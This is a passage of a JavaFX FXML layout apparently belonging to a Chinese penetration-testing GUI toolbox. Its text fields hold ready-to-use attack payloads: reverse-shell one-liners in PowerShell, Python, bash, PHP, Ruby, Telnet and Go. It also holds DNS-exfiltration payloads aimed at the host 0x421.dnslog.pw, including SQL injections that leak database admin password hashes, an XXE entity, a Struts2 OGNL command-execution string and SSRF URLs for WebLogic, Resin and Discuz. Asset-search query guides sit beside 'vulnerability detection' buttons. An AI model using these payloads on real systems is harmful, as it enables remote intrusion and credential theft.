</TitledPane>
<TitledPane expanded="false" text="Powershell -3" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea6" prefHeight="0.0" prefWidth="966.0" promptText="powershell -nop -W hidden -noni -ep bypass -c &quot;$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 8080);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL&gt; ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2&gt;&amp;1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()&quot;" text="powershell -nop -W hidden -noni -ep bypass -c &quot;$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 8080);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL&gt; ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2&gt;&amp;1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()&quot;">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="Python -1" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea7" prefHeight="0.0" prefWidth="966.0" promptText="export RHOST=&quot;127.0.0.1&quot;;export RPORT=8080;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(&quot;RHOST&quot;),int(os.getenv(&quot;RPORT&quot;))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(&quot;cmd&quot;)'" text="export RHOST=&quot;127.0.0.1&quot;;export RPORT=8080;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(&quot;RHOST&quot;),int(os.getenv(&quot;RPORT&quot;))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(&quot;cmd&quot;)'">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="Python -2" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea8" prefHeight="0.0" prefWidth="966.0" promptText="python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;127.0.0.1&quot;,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;cmd&quot;)'" text="python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;127.0.0.1&quot;,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;cmd&quot;)'">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="exec" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea9" prefHeight="0.0" prefWidth="966.0" promptText="sh -i &gt;&amp; /dev/tcp/10.10.10.10/9001 0&gt;&amp;exec 5&lt;&gt;/dev/tcp/127.0.0.1/8080;cat &lt;&amp;5|while read line;do $line &gt;&amp;5 2&gt;&amp;1;done" text="exec 5&lt;&gt;/dev/tcp/127.0.0.1/8080;cat &lt;&amp;5|while read line;do $line &gt;&amp;5 2&gt;&amp;1;done">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="PHP" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea10" prefHeight="0.0" prefWidth="966.0" promptText="php -r '$sock=fsockopen(&quot;127.0.0.1&quot;,8080);exec(&quot;cmd &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);'" text="php -r '$sock=fsockopen(&quot;127.0.0.1&quot;,8080);exec(&quot;cmd &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);'">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="Ruby" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea11" prefHeight="0.0" prefWidth="966.0" promptText="ruby -rsocket -e'spawn(&quot;sh&quot;,[:in,:out,:err]=&gt;TCPSocket.new(&quot;127.0.0.1&quot;,8080))'" text="ruby -rsocket -e'spawn(&quot;sh&quot;,[:in,:out,:err]=&gt;TCPSocket.new(&quot;127.0.0.1&quot;,8080))'">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="Telnet" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea12" prefHeight="0.0" prefWidth="966.0" promptText="TF=$(mktemp -u);mkfifo $TF &amp;&amp; telnet 127.0.0.1 8080 0&lt;$TF | cmd 1&gt;$TF" text="TF=$(mktemp -u);mkfifo $TF &amp;&amp; telnet 127.0.0.1 8080 0&lt;$TF | cmd 1&gt;$TF">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="Golang" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea13" prefHeight="0.0" prefWidth="966.0" promptText="echo 'package main;import&quot;os/exec&quot;;import&quot;net&quot;;func main(){c,_:=net.Dial(&quot;tcp&quot;,&quot;127.0.0.1:8080&quot;);cmd:=exec.Command(&quot;cmd&quot;);cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' &gt; /tmp/t.go &amp;&amp; go run /tmp/t.go &amp;&amp; rm /tmp/t.go" text="echo 'package main;import&quot;os/exec&quot;;import&quot;net&quot;;func main(){c,_:=net.Dial(&quot;tcp&quot;,&quot;127.0.0.1:8080&quot;);cmd:=exec.Command(&quot;cmd&quot;);cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' &gt; /tmp/t.go &amp;&amp; go run /tmp/t.go &amp;&amp; rm /tmp/t.go">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="更多" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea prefHeight="0.0" prefWidth="966.0" promptText="https://www.revshells.com/" text="https://www.revshells.com/">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
</children>
</VBox>
</content>
</ScrollPane>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="字典生成">
<content>
<VBox>
<children>
<Button fx:id="adBtn" mnemonicParsing="false" onAction="#adBtn" prefHeight="29.0" prefWidth="991.0" style="-fx-background-color: #DAFFFB;" text="如果失败请点我" textFill="RED" />
<WebView fx:id="adWebView" prefHeight="638.0" prefWidth="990.0" />
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="杀软识别">
<content>
<HBox>
<children>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<TextArea fx:id="aeTextArea1" prefHeight="627.0" prefWidth="475.0" promptText="tasklist /svc">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</VBox>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<Button fx:id="aeBtn" mnemonicParsing="false" onAction="#aeBtn" prefHeight="59.0" prefWidth="490.0" style="-fx-background-color: #FF9B9B;" text="识别" textFill="WHITE" />
<TextArea fx:id="aeTextArea2" prefHeight="597.0" prefWidth="475.0">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</VBox>
</children>
</HBox>
</content>
</Tab>
<Tab closable="false" text="DNSLOG">
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<VBox>
<VBox.margin>
<Insets left="10.0" />
</VBox.margin>
<children>
<HBox prefHeight="40.0" prefWidth="988.0" spacing="8.0">
<children>
<Label text="dnslog地址" textFill="#eb0000">
<font>
<Font size="14.0" />
</font>
<HBox.margin>
<Insets top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="afTextField" prefHeight="29.0" prefWidth="293.0" promptText="0x421.dnslog.pw" text="0x421.dnslog.pw">
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</TextField>
<Button fx:id="afBtn" mnemonicParsing="false" onAction="#afBtn" prefHeight="25.0" prefWidth="128.0" text="点击生成" textFill="RED">
<font>
<Font size="14.0" />
</font>
<graphic>
<VBox />
</graphic>
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</Button>
</children>
</HBox>
</children>
</VBox>
<HBox prefHeight="750.0" prefWidth="990.0" spacing="10.0">
<children>
<TabPane prefHeight="745.0" prefWidth="990.0" tabClosingPolicy="ALL_TABS">
<tabs>
<Tab closable="false" text="命令执行场景">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<TitledPane ellipsisString="" text="常用命令">
<content>
<HBox>
<children>
<Label>
<textFill>
<RadialGradient centerX="0.8898305084745763" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#fc0000" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea fx:id="afTextArea1" prefHeight="546.0" prefWidth="970.0" promptText="Liunx/Unix/Mac OS系统:&#10;&#10;curl http://0x421.dnslog.pw/`whoami`&#10;ping `whoami`.0x421.dnslog.pw&#10;&#10;Windows系统:&#10;&#10;ping %USERNAME%.0x421.dnslog.pw" text="Liunx/Unix/Mac OS系统:&#10;&#10;curl http://0x421.dnslog.pw/`whoami`&#10;ping `whoami`.0x421.dnslog.pw&#10;&#10;Windows系统:&#10;&#10;ping %USERNAME%.0x421.dnslog.pw">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="SQL注入场景">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<TitledPane ellipsisString="" text="常用命令">
<content>
<HBox>
<children>
<Label>
<textFill>
<RadialGradient centerX="0.8898305084745763" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#fc0000" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea fx:id="afTextArea2" prefHeight="546.0" prefWidth="970.0" promptText="SQL Server数据库:&#10;&#10;DECLARE @host varchar(1024);&#10;SELECT @host=(SELECT TOP 1&#10;master.dbo.fn_varbintohexstr(password_hash)&#10;FROM sys.sql_logins WHERE name='sa')&#10;+'.0x421.dnslog.pw';&#10;EXEC('master..xp_dirtree&#10;&quot;\\'+@host+'\foobar$&quot;');&#10;&#10;Oracle数据库:&#10;&#10;SELECT UTL_INADDR.GET_HOST_ADDRESS('0x421.dnslog.pw');&#10;SELECT UTL_HTTP.REQUEST('http://0x421.dnslog.pw/oracle') FROM DUAL;&#10;SELECT HTTPURITYPE('http://0x421.dnslog.pw/oracle').GETCLOB() FROM DUAL;&#10;SELECT DBMS_LDAP.INIT(('oracle.0x421.dnslog.pw',80) FROM DUAL;&#10;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.0x421.dnslog.pw',80) FROM DUAL;&#10;&#10;MySQL数据库:&#10;&#10;SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.0x421.dnslog.pw\\abc'));&#10;&#10;PostgreSQL数据库:&#10;&#10;DROP TABLE IF EXISTS table_output;&#10;CREATE TABLE table_output(content text);&#10;CREATE OR REPLACE FUNCTION temp_function()&#10;RETURNS VOID AS $&#10;DECLARE exec_cmd TEXT;&#10;DECLARE query_result TEXT;&#10;BEGIN&#10;SELECT INTO query_result (SELECT passwd&#10;FROM pg_shadow WHERE usename='postgres');&#10;exec_cmd := E'COPY table_output(content)&#10;FROM E\'\\\\\\\\'||query_result||E'.psql.0x421.dnslog.pw\\\\foobar.txt\'';&#10;EXECUTE exec_cmd;&#10;END;&#10;$ LANGUAGE plpgsql SECURITY DEFINER;&#10;SELECT temp_function();" text="SQL Server数据库:&#10;&#10;DECLARE @host varchar(1024);&#10;SELECT @host=(SELECT TOP 1&#10;master.dbo.fn_varbintohexstr(password_hash)&#10;FROM sys.sql_logins WHERE name='sa')&#10;+'.0x421.dnslog.pw';&#10;EXEC('master..xp_dirtree&#10;&quot;\\'+@host+'\foobar$&quot;');&#10;&#10;Oracle数据库:&#10;&#10;SELECT UTL_INADDR.GET_HOST_ADDRESS('0x421.dnslog.pw');&#10;SELECT UTL_HTTP.REQUEST('http://0x421.dnslog.pw/oracle') FROM DUAL;&#10;SELECT HTTPURITYPE('http://0x421.dnslog.pw/oracle').GETCLOB() FROM DUAL;&#10;SELECT DBMS_LDAP.INIT(('oracle.0x421.dnslog.pw',80) FROM DUAL;&#10;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.0x421.dnslog.pw',80) FROM DUAL;&#10;&#10;MySQL数据库:&#10;&#10;SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.0x421.dnslog.pw\\abc'));&#10;&#10;PostgreSQL数据库:&#10;&#10;DROP TABLE IF EXISTS table_output;&#10;CREATE TABLE table_output(content text);&#10;CREATE OR REPLACE FUNCTION temp_function()&#10;RETURNS VOID AS $&#10;DECLARE exec_cmd TEXT;&#10;DECLARE query_result TEXT;&#10;BEGIN&#10;SELECT INTO query_result (SELECT passwd&#10;FROM pg_shadow WHERE usename='postgres');&#10;exec_cmd := E'COPY table_output(content)&#10;FROM E\'\\\\\\\\'||query_result||E'.psql.0x421.dnslog.pw\\\\foobar.txt\'';&#10;EXECUTE exec_cmd;&#10;END;&#10;$ LANGUAGE plpgsql SECURITY DEFINER;&#10;SELECT temp_function();">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="XXE场景">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<TitledPane ellipsisString="" text="常用命令">
<content>
<HBox>
<children>
<Label>
<textFill>
<RadialGradient centerX="0.8898305084745763" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#fc0000" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea fx:id="afTextArea3" prefHeight="546.0" prefWidth="970.0" promptText="XML实体:&#10;&#10;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#10;&lt;!DOCTYPE root [&#10;&lt;!ENTITY % remote SYSTEM &quot;http://0x421.dnslog.pw/xxe_test&quot;&gt;&#10;%remote;]&gt;&#10;&lt;root/&gt;" text="XML实体:&#10;&#10;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#10;&lt;!DOCTYPE root [&#10;&lt;!ENTITY % remote SYSTEM &quot;http://0x421.dnslog.pw/xxe_test&quot;&gt;&#10;%remote;]&gt;&#10;&lt;root/&gt;">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="其他场景">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<TitledPane ellipsisString="" text="常用命令">
<content>
<HBox>
<children>
<Label>
<textFill>
<RadialGradient centerX="0.8898305084745763" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#fc0000" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea fx:id="afTextArea4" prefHeight="546.0" prefWidth="970.0" promptText="Struts2中间件:&#10;&#10;xx.action?redirect:http://0x421.dnslog.pw/%25{3*4}&#10;xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d&quot;http://0x421.dnslog.pw/result%3d&quot;.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(&quot;GET&quot;),%23http.connect(),%23http.getInputStream()}&#10;&#10;FFMpeg插件:&#10;&#10;#EXTM3U&#10;#EXT-X-MEDIA-SEQUENCE:0&#10;#EXTINF:10.0,&#10;concat:http://0x421.dnslog.pw&#10;#EXT-X-ENDLIST&#10;&#10;Weblogic中间件:&#10;&#10;example.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://0x421.dnslog.pw/test&amp;rdoSearch=name&amp;txtSearchname=sdf&amp;txtSearchkey=&amp;txtSearchfor=&amp;selfor=Businesslocation&amp;btnSubmit=Search&#10;&#10;ImageMagick插件:&#10;&#10;push graphic-context&#10;viewbox 0 0 640 480&#10;fill 'url(http://0x421.dnslog.pw)'&#10;pop graphic-context&#10;&#10;Resin中间件:&#10;&#10;example.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://0x421.dnslog.pw/ssrf&#10;&#10;Discuz社群:&#10;&#10;example.com/forum.php?mod=ajax&amp;action=downremoteimg&amp;message=[img=1,1]http://0x421.dnslog.pw/x.jpg[/img]&amp;formhash=x" text="Struts2中间件:&#10;&#10;xx.action?redirect:http://0x421.dnslog.pw/%25{3*4}&#10;xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d&quot;http://0x421.dnslog.pw/result%3d&quot;.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(&quot;GET&quot;),%23http.connect(),%23http.getInputStream()}&#10;&#10;FFMpeg插件:&#10;&#10;#EXTM3U&#10;#EXT-X-MEDIA-SEQUENCE:0&#10;#EXTINF:10.0,&#10;concat:http://0x421.dnslog.pw&#10;#EXT-X-ENDLIST&#10;&#10;Weblogic中间件:&#10;&#10;example.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://0x421.dnslog.pw/test&amp;rdoSearch=name&amp;txtSearchname=sdf&amp;txtSearchkey=&amp;txtSearchfor=&amp;selfor=Businesslocation&amp;btnSubmit=Search&#10;&#10;ImageMagick插件:&#10;&#10;push graphic-context&#10;viewbox 0 0 640 480&#10;fill 'url(http://0x421.dnslog.pw)'&#10;pop graphic-context&#10;&#10;Resin中间件:&#10;&#10;example.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://0x421.dnslog.pw/ssrf&#10;&#10;Discuz社群:&#10;&#10;example.com/forum.php?mod=ajax&amp;action=downremoteimg&amp;message=[img=1,1]http://0x421.dnslog.pw/x.jpg[/img]&amp;formhash=x">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
</children>
</VBox>
</content>
</Tab>
</tabs>
<padding>
<Insets bottom="5.0" />
</padding>
<opaqueInsets>
<Insets />
</opaqueInsets>
<cursor>
<Cursor fx:constant="DEFAULT" />
</cursor>
<effect>
<Bloom threshold="1.0" />
</effect>
</TabPane>
</children>
<padding>
<Insets top="10.0" />
</padding>
</HBox>
</children>
</VBox>
</content>
</Tab>
</tabs>
<padding>
<Insets bottom="5.0" />
</padding>
<opaqueInsets>
<Insets />
</opaqueInsets>
<cursor>
<Cursor fx:constant="DEFAULT" />
</cursor>
<effect>
<Bloom threshold="1.0" />
</effect>
</TabPane>
</children>
<padding>
<Insets top="10.0" />
</padding>
</HBox>
</children></VBox>
</content>
</Tab>
<Tab closable="false" text="空间测绘">
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<HBox prefHeight="750.0" prefWidth="990.0" spacing="10.0">
<children>
<TabPane prefHeight="745.0" prefWidth="990.0" tabClosingPolicy="ALL_TABS">
<tabs>
<Tab closable="false" text="Fofa">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<HBox>
<children>
<Label fx:id="proxyStatusLabel11" contentDisplay="BOTTOM" prefHeight="22.0" prefWidth="121.0" text=" 查询条件" textFill="#1cad5b">
<padding>
<Insets left="3.0" top="3.0" />
</padding>
<font>
<Font size="14.0" />
</font>
<HBox.margin>
<Insets left="11.0" top="3.0" />
</HBox.margin>
</Label>
<TextField fx:id="baTextField" prefHeight="29.0" prefWidth="755.0" />
<Button fx:id="baBtn" mnemonicParsing="false" onAction="#baBtn" prefHeight="29.0" prefWidth="108.0" text="点击查询" />
</children>
<VBox.margin>
<Insets top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<TextArea fx:id="baTextArea" prefHeight="729.0" prefWidth="909.0" text="&#10;title=&quot;abc&quot; 从标题中搜索abc。例标题中有北京的网站。&#10;header=&quot;abc&quot; 从http头中搜索abc。例jboss服务器。&#10;body=&quot;abc&quot; 从html正文中搜索abc。例正文包含Hacked by。&#10;domain=&quot;qq.com&quot; 搜索根域名带有qq.com的网站。例 根域名是qq.com的网站。&#10;host=&quot;.gov.cn&quot; 从url中搜索.gov.cn,注意搜索要用host作为名称。&#10;port=&quot;443&quot; 查找对应443端口的资产。例 查找对应443端口的资产。&#10;ip=&quot;1.1.1.1&quot; 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。&#10;protocol=&quot;https&quot; 搜索制定协议类型(在开启端口扫描的情况下有效)。例: 查询https协议资产。&#10;city=&quot;Beijing&quot; 搜索指定城市的资产。例: 搜索指定城市的资产。&#10;region=&quot;Zhejiang&quot; 搜索指定行政区的资产。例: 搜索指定行政区的资产。&#10;country=&quot;CN&quot; 搜索指定国家(编码)的资产。例: 搜索指定国家(编码)的资产。&#10;cert=&quot;google.com&quot; 搜索证书(https或者imaps等)中带有google.com的资产。&#10;&#10;高级搜索:&#10;title=&quot;powered by&quot; &amp;&amp; title!=discuz&#10;title!=&quot;powered by&quot; &amp;&amp; body=discuz&#10;( body=&quot;content=\&quot;WordPress&quot; || (header=&quot;X-Pingback&quot; &amp;&amp; header=&quot;/xmlrpc.php&quot; &amp;&amp; body=&quot;/wp-includes/“) ) " />
<Button fx:id="baPOCBtn" mnemonicParsing="false" onAction="#baPOCBtn" prefHeight="900.0" prefWidth="83.0" style="-fx-background-color: #008000;" text="漏&#10;洞&#10;检&#10;测" textFill="WHITE">
<font>
<Font size="20.0" />
</font>
</Button>
</children>
</HBox>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="鹰图">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<HBox>
<children>
<Label fx:id="proxyStatusLabel111" contentDisplay="BOTTOM" prefHeight="22.0" prefWidth="121.0" text=" APIKey" textFill="#1cad5b">
<padding>
<Insets left="3.0" top="3.0" />
</padding>
<font>
<Font size="14.0" />
</font>
<HBox.margin>
<Insets left="11.0" top="3.0" />
</HBox.margin>
</Label>
<TextField fx:id="bbTextField1" prefHeight="29.0" prefWidth="257.0" />
<ComboBox fx:id="bbComboBox1" prefHeight="29.0" prefWidth="216.0" promptText="-----查询页数(1-10)------">
<HBox.margin>
<Insets left="50.0" />
</HBox.margin>
</ComboBox>
<ComboBox fx:id="bbComboBox2" prefHeight="29.0" prefWidth="206.0" promptText="-----是否web资产------">
<HBox.margin>
<Insets left="50.0" />
</HBox.margin>
</ComboBox>
</children>
<VBox.margin>
<Insets top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label contentDisplay="BOTTOM" prefHeight="22.0" prefWidth="121.0" text=" 查询条件" textFill="#1cad5b">
<padding>
<Insets left="3.0" top="3.0" />
</padding>
<font>
<Font size="14.0" />
</font>
<HBox.margin>
<Insets left="11.0" top="3.0" />
</HBox.margin>
</Label>
<TextField fx:id="bbTextField2" prefHeight="29.0" prefWidth="755.0" />
<Button fx:id="bbBtn" mnemonicParsing="false" onAction="#bbBtn" prefHeight="29.0" prefWidth="108.0" text="点击查询" />
</children>
<VBox.margin>
<Insets top="5.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<TextArea fx:id="bbTextArea" prefHeight="729.0" prefWidth="909.0" text="&#10;web.title=&quot;北京&quot; 从网站标题中搜索“北京”&#10;&#10;ip.country=&quot;CN&quot; 搜索IP对应主机所在国为”中国“的资产&#10;&#10;icp.web_name=&quot;奇安信&quot; 搜索ICP备案网站名中含有“奇安信”的资产&#10;&#10;icp.name=&quot;奇安信&quot; 搜索ICP备案单位名中含有“奇安信”的资产&#10;&#10;domain=&quot;qq.com&quot; 搜索域名包含&quot;qq.com&quot;的网站&#10;&#10;domain.suffix=&quot;qq.com&quot; 搜索主域为qq.com的网站&#10;&#10;app.vendor=&quot;PHP&quot;NEW 查询包含组件厂商为&quot;PHP&quot;的资产&#10;&#10;app.version=&quot;1.8.1&quot;NEW 查询包含组件版本为&quot;1.8.1&quot;的资产&#10;&#10;header=&quot;elastic&quot; 搜索HTTP请求头中含有&quot;elastic&quot;的资产&#10;&#10;header.status_code=&quot;402&quot; 搜索HTTP请求返回状态码为”402”的资产&#10;&#10;web.body=&quot;网络空间测绘&quot; 搜索网站正文包含”网络空间测绘“的资产&#10;&#10;header.server==&quot;Microsoft-IIS/10&quot; 搜索server全名为“Microsoft-IIS/10”的服务器&#10;&#10;ip=&quot;1.1.1.1&quot; 搜索IP为 ”1.1.1.1”的资产&#10;&#10;ip=&quot;220.181.111.1/24&quot; 搜索起始IP为”220.181.111.1“的C段资产&#10;&#10;####搜索日本国家开放6379和3389端口的机器&#10;&#10;ip.country=&quot;JP&quot; and ip.port=&quot;3389&quot; or ip.port=&quot;6379&quot;&#10;&#10;####搜索日本国家, Apache版本是2.4.0~2.4.29状态码为200的网站&#10;&#10;ip.country=&quot;JP&quot; and app.name==(&quot;Apache&quot; and app.version==&quot;2.4.6&quot;) and header.status_code=&quot;200&quot;&#10;ip.port=&quot;6379&quot; 搜索开放端口为”6379“的资产&#10;&#10;ip.os=&quot;Windows&quot; 搜索操作系统标记为”Windows“的资产&#10;&#10;ip.isp=&quot;电信&quot; 搜索运营商为”中国电信”的资产" />
<Button fx:id="bbPOCBtn" mnemonicParsing="false" onAction="#bbPOCBtn" prefHeight="900.0" prefWidth="83.0" style="-fx-background-color: #008000;" text="漏&#10;洞&#10;检&#10;测" textFill="WHITE">
<font>
<Font size="20.0" />
</font>
</Button>
</children>
<VBox.margin>
<Insets top="5.0" />
</VBox.margin>
</HBox>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="Quake360">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<HBox>
<children>
<Label fx:id="proxyStatusLabel112" contentDisplay="BOTTOM" prefHeight="22.0" prefWidth="121.0" text=" 查询条件" textFill="#1cad5b">
<padding>
<Insets left="3.0" top="3.0" />
</padding>
<font>
<Font size="14.0" />
</font>
<HBox.margin>
<Insets left="11.0" top="3.0" />
</HBox.margin>
</Label>
<TextField fx:id="bcTextField" prefHeight="29.0" prefWidth="550.0" />
<ComboBox fx:id="bcComboBox" prefHeight="29.0" prefWidth="196.0" promptText="-----查询页数(1-10)------" />
<Button fx:id="bcBtn" mnemonicParsing="false" onAction="#bcBtn" prefHeight="29.0" prefWidth="108.0" text="点击查询" />
</children>
<VBox.margin>
<Insets top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<TextArea fx:id="bcTextArea" prefHeight="729.0" prefWidth="909.0" text="&#10;【详细的参考】&#10;https://quake.360.net/quake/#/help?id=5eb238f110d2e850d5c6aec8&amp;title=%E6%A3%80%E7%B4%A2%E5%85%B3%E9%94%AE%E8%AF%8D&#10;&#10;&#10;country搜索指定国家中文添加_cn 例如country:&quot;JP&quot;&#10;city搜索指定城市 例如city:&quot;tokyo &quot;&#10;owner搜索IP归属单位 例如owner:&quot;tencent.com&quot;&#10;isp搜索IP归属运营商 例如isp:&quot;amazon.com&quot;&#10;ip查询IP地址或网段 列如ip:&quot;1.1.1.1/22&quot;&#10;is_ipv6查询IPV6格式的IP 列如sis_ipv6:&quot;true&quot;&#10;port搜索指定的端口或服务 例如port:&quot;[50 TO 60]&quot;&#10;transport查询udp数据 例如transport:&quot;udp&quot;&#10;domain查询资产域名 例如domain:&quot;google.com&quot;&#10;hostname查询主机名包含指定资产的数据 例如: hostname:&quot;google.com&quot;&#10;app搜索指定的组件 列如app:&quot;apache &quot;&#10;response查询端口原生返回数据中包含指定参数的资产 列如response:&quot;google.com&quot;&#10;" />
<Button fx:id="bcPOCBtn" mnemonicParsing="false" onAction="#bcPOCBtn" prefHeight="900.0" prefWidth="83.0" style="-fx-background-color: #008000;" text="漏&#10;洞&#10;检&#10;测" textFill="WHITE">
<font>
<Font size="20.0" />
</font>
</Button>
</children>
</HBox>
</children>
</VBox>
</content>
</Tab>
</tabs>
<padding>
